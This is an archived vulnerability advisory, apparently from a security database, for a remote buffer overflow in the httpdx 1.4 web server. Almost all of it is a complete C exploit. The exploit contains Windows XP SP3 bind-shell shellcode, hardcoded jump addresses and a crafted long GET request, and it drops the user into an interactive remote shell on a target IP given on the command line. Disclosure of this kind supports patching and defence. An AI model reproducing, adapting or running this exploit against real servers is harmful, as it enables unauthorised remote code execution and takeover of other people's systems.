Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:22582
HistoryOct 09, 2009 - 12:00 a.m.

Remote buffer overflow in httpdx

2009-10-0900:00:00
vulners.com
12

httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as
http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);

Other versions may also be vulnerable.

Exploit (0day) (Tested with httpdx 1.4 on WinXP SP3)

#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

/* 128 byte portbinding shellcode (for WinXP SP3) port 58821
Derived from shellcode written by silicon */
unsigned char bindcode[] =
"\x89\xE5"
"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06"
"\x6A\x01\x6A\x02\xB8"
"\x6A\x8B\xAB\x71" // WSASocketA()
"\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\xE5"
"\xC5\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
"\x80\x44\xAB\x71" // bind()
"\xFF\xD0\x6A\x01\x53\xB8"
"\xD3\x8C\xAB\x71" // listen()
"\xFF\xD0\x33\xC0\x50\x50\x53\xB8"
"\x40\x10\xAC\x71" // accept()
"\xFF\xD0\x8B\xD8\xBA"
"\x7B\xD3\x81\x7C" // SetStdHandle()
"\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63"
"\x6D\x64\x8D\x45\xFC\x50\xB8"
"\xC7\x93\xC2\x77" // system()
"\xFF\xD0"
"\x31\xC0\x50\xB8"
"\x12\xCB\x81\x7C" // ExitProcess()
"\xFF\xD0";

/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;

    while &#40;1&#41; {
            FD_SET &#40;0, &amp;rfds&#41;;
            FD_SET &#40;sock, &amp;rfds&#41;;

            select &#40;sock + 1, &amp;rfds, NULL, NULL, NULL&#41;;
            if &#40;FD_ISSET &#40;0, &amp;rfds&#41;&#41; {
                    l = read &#40;0, buf, sizeof &#40;buf&#41;&#41;;
                    if &#40;l &lt;= 0&#41; {
                            printf&#40;&quot;&#92;n - Connection closed by local user&#92;n&quot;&#41;;
                            exit &#40;EXIT_FAILURE&#41;;
                    }
                    write &#40;sock, buf, l&#41;;
            }

            if &#40;FD_ISSET &#40;sock, &amp;rfds&#41;&#41; {
                    l = read &#40;sock, buf, sizeof &#40;buf&#41;&#41;;
                    if &#40;l == 0&#41; {
                            printf &#40;&quot;&#92;n - Connection closed by remote host.&#92;n&quot;&#41;;
                            exit &#40;EXIT_FAILURE&#41;;
                    } else if &#40;l &lt; 0&#41; {
                            printf &#40;&quot;&#92;n - Read failure&#92;n&quot;&#41;;
                            exit &#40;EXIT_FAILURE&#41;;
                    }
                    write &#40;1, buf, l&#41;;
            }
    }

}

int main(int argc, char **argv)
{
char buff[1100];
long ret1 = 0x64f8134b; // pop ret (core.dll)
long addr = 0x63b8624f; // Required to reach ret instruction
long ret2 = 0x7c874413; // jmp esp (kernel32.dll)
long *ptr;
struct sockaddr_in target;
int i, port, sock;

    printf&#40;&quot;&#92;n---------------------------------------------------------------------&#92;n&quot;&#41;;
    printf&#40;&quot;  [*] httpdx 1.4 GET Request Remote Buffer Overflow Exploit &#40;0day&#41; &#92;n&quot;&#41;;
    printf&#40;&quot;  [*] Written and discovered by Pankaj Kohli &lt;http://www.pank4j.com&gt; &#92;n&quot;&#41;;
    printf&#40;&quot;  [*] Tested with httpdx 1.4 on Windows XP SP3 &#92;n&#92;n&quot;&#41;;

    if&#40;argc &lt; 3&#41;
    {
            printf&#40;&quot;[-] Usage: &#37;s  &lt;Target IP&gt; &lt;Port&gt;&#92;n&#92;n&quot;, argv[0]&#41;;
            exit&#40;1&#41;;
    }

    port = atoi&#40;argv[2]&#41;;
    printf&#40;&quot;[+] Creating payload &#92;n&quot;&#41;;

    memset&#40;buff, 0, 1024&#41;;
    strcpy&#40;buff, &quot;GET /abc=&quot;&#41;;
    memset&#40;buff+9, &#39;A&#39;, 616&#41;;
    ptr = &#40;long *&#41; &#40;buff + 625&#41;;
    *ptr = ret1;
    ptr++;
    *ptr = addr;
    ptr++;
    *ptr = ret2;
    ptr++;
    *ptr = 0;
    strcat&#40;buff, bindcode&#41;;
    memset&#40;buff+765, &#39;A&#39;, 244&#41;;
    buff[1009] = 0;
    strcat&#40;buff, &quot; HTTP/1.1&#92;r&#92;nHost: 192.168.2.1&#92;r&#92;n&#92;r&#92;n&quot;&#41;;
    
    printf&#40;&quot;[+] Connecting to &#37;s on port &#37;s &#92;n&quot;, argv[1], argv[2]&#41;;
    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr&#40;argv[1]&#41;;
    target.sin_port = htons&#40;port&#41;;

    if&#40;&#40;sock = socket&#40;AF_INET, SOCK_STREAM, 0&#41;&#41; == -1&#41;
    {
            perror&#40;&quot;[-] Socket &#92;n&quot;&#41;;
            return&#40;1&#41;;
    }

    if&#40;connect&#40;sock, &#40;struct sockaddr *&#41; &amp;target, sizeof&#40;target&#41;&#41; != 0&#41;
    {
            perror&#40;&quot;[-] Connect &#92;n&quot;&#41;;
            return&#40;1&#41;;
    }

    printf&#40;&quot;[+] Sending payload &#92;n&quot;&#41;;
    if &#40;send&#40;sock, buff, strlen&#40;buff&#41;, 0&#41;== -1&#41;
    {
            perror&#40;&quot;[-] Send &#92;n&quot;&#41;;
            return&#40;1&#41;;
    }

    close&#40;sock&#41;;
    sleep&#40;1&#41;;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr&#40;argv[1]&#41;;
    target.sin_port = htons&#40;58821&#41;;

    if&#40;&#40;sock = socket&#40;AF_INET, SOCK_STREAM, 0&#41;&#41; == -1&#41;
    {
            perror&#40;&quot;[-] Socket &#92;n&quot;&#41;;
            return&#40;1&#41;;
    }

    if&#40;connect&#40;sock, &#40;struct sockaddr *&#41; &amp;target, sizeof&#40;target&#41;&#41; != 0&#41;
    {
            printf&#40;&quot;[-] Exploit failed. &#92;n&quot;&#41;;
            return&#40;1&#41;;
    }   

    printf&#40;&quot;&#92;n[+] Dropping to shell &#92;n&#92;n&quot;&#41;;
    shell&#40;sock&#41;;
    return 0;

}